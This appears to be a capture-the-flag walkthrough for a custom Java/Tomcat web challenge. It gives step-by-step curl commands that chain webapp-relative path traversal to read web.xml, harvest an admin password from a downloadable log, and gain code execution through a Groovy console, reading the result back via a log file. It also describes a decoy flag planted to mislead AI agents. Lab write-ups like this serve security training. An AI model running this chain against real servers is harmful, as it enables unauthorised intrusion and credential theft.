PathRelay — Limited Path Traversal to RCE
PathRelay — Limited Path Traversal to RCE
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: credential_extraction_from_log_files, groovy_script_console_rce, hidden_endpoint_discovery_via_web_xml, honeypot_flag_identification, log_based_output_exfiltration, parameter_name_fuzzing, webapp_relative_path_traversal
Summary
Walkthrough of the CUSTOM Web PathRelay — Limited Path Traversal to RCE. Task: Java/Tomcat admin panel with file download endpoint, WAF-protected path traversal, and hidden servlets. Solution: Webapp-relative path traversal to read WEB-INF/web.xml, discover hidden endpoint
Description
Scenario: You are testing PathRelay, an enterprise admin panel running on port 8080. Initial reconnaissance shows a 404 page, but there's more beneath the surface. Your goal is to escalate from limited file access to full remote code execution and capture the flag.
Environment Details: Application: PathRelay Admin Panel v2.1, Framework: Java/JSF (JavaServer Faces), Port: 8080 (behind nginx reverse proxy), Backend: Apache Tomcat/9.0.115, Security: WAF blocks outbound connections (no reverse shells). Inspired by a real $40,000 bug bounty. No test credentials provided — must be discovered through exploitation.
English summary: A multi-stage web exploitation challenge on a Java/Tomcat admin panel. Starting from a file download endpoint with limited path traversal, the goal is to chain multiple vulnerabilities — reading deployment descriptors, extracting credentials from log files, and achieving RCE through a Groovy script console — to read the flag from the server filesystem. The challenge includes a honeypot/decoy flag designed to trap automated tools and AI agents.
Analysis
Initial Reconnaissance
The root URL (/) returns a custom 404 page (200 status, 2434 bytes). Critically, every page contains a decoy flag in HTML comments and hidden divs:
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}
This is a honeypot flag — the name literally says "decoy not real trap for bots". It's designed to trick AI agents and automated scanners into submitting the wrong flag. This is FAKE.
Server fingerprinting reveals:
- nginx/1.25.5 — reverse proxy (from response headers)
- Apache Tomcat/9.0.115 — backend (revealed in 405 error pages)
Endpoint discovery via fuzzing:
/admin→ 302 redirect to/admin//admin/login→ 200, login form (POST, fields:username,password)/admin/download→ 200, Content-Length: 0 (file download endpoint, no parameters)
Parameter Discovery on /admin/download
The download endpoint returns 200 with 0 bytes for most parameter names (file, path, name, doc, report, log, id, resource, filepath). The key breakthrough was differential response analysis:
| Parameter | Invalid Value | Result |
|---|---|---|
| Most names | anything | 200, 0 bytes (parameter ignored) |
filename | nonexistent | 404 (parameter recognized!) |
filename | ../etc/passwd | 403 Forbidden (path traversal blocked) |
| |
The filename parameter is the correct one — the application recognizes it and applies path traversal filtering on ../ sequences.
Webapp-Relative Path Traversal
The critical insight: the download endpoint serves files relative to the webapp root directory. No directory traversal sequences (../) are needed — just reference internal webapp paths directly:
GET /admin/download?filename=WEB-INF/web.xml
This successfully returned the Java deployment descriptor, revealing two hidden servlet mappings:
/admin/incident-report→IncidentReportServlet(incident report download)/admin/groovy-execute→GroovyConsoleServlet(Groovy script execution, requires authentication)
Solution
Stage 1: Read WEB-INF/web.xml via Webapp-Relative Path Traversal
bash read-only • copy allowed# Discover the correct parameter via differential response analysis curl -s -o /dev/null -w "%{http_code}" "https://TARGET/admin/download?file=test" # 200 (parameter ignored) curl -s -o /dev/null -w "%{http_code}" "https://TARGET/admin/download?filename=test" # 404 (parameter recognized — file not found) curl -s -o /dev/null -w "%{http_code}" "https://TARGET/admin/download?filename=../etc/passwd" # 403 (path traversal blocked by WAF) # Key insight: no ../ needed — read webapp-internal files directly curl -s "https://TARGET/admin/download?filename=WEB-INF/web.xml" # Returns full web.xml with hidden servlet mappings
Stage 2: Extract Credentials from Incident Report
bash read-only • copy allowed# Download incident report ZIP curl -s "https://TARGET/admin/incident-report" -o incident-report.zip unzip incident-report.zip -d incident-report/
The ZIP contains system.log with a password migration entry:
[2025-01-20 09:15:30] Password migration: old hash = 21232f297a57a5a743894a0e4a801fc3
[2025-01-20 09:15:31] Password migration: new password = Pr0xyR3l4y!2025
[2025-01-20 09:15:32] User 'admin' credentials updated successfully
Credentials: admin / Pr0xyR3l4y!2025
Stage 3: Authenticate
bash read-only • copy allowed# Login and capture session cookie curl -s -c cookies.txt -X POST "https://TARGET/admin/login" \ -d "username=admin&password=Pr0xyR3l4y!2025"
Stage 4: Groovy Console RCE
bash read-only • copy allowed# Execute Groovy script to read the flag curl -s -b cookies.txt -X POST "https://TARGET/admin/groovy-execute" \ -d 'script=new File("/root/flag.txt").text'
The Groovy code executes on the server, but the output is NOT returned directly in the HTTP response — the WAF/application design prevents direct output.
Stage 5: Log-Based Exfiltration
The Groovy script output is written to groovy-export.log, which appears in the next incident report download:
bash read-only • copy allowed# Download the updated incident report (now includes groovy-export.log) curl -s -b cookies.txt "https://TARGET/admin/incident-report" -o incident-report2.zip unzip incident-report2.zip -d incident-report2/ cat incident-report2/groovy-export.log
Output:
[2026-05-01 21:27:35] EXPORT_SCRIPT_EXECUTION
Script: new File("/root/flag.txt").text
Output: FLAG{REDACTED}
Key Takeaways / Lessons
- Mastering credential_extraction_from_log_files, groovy_script_console_rce, hidden_endpoint_discovery_via_web_xml, honeypot_flag_identification, log_based_output_exfiltration, parameter_name_fuzzing, webapp_relative_path_traversal was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-01 • CUSTOM • PathRelay — Limited Path Traversal to RCE • Difficulty: Medium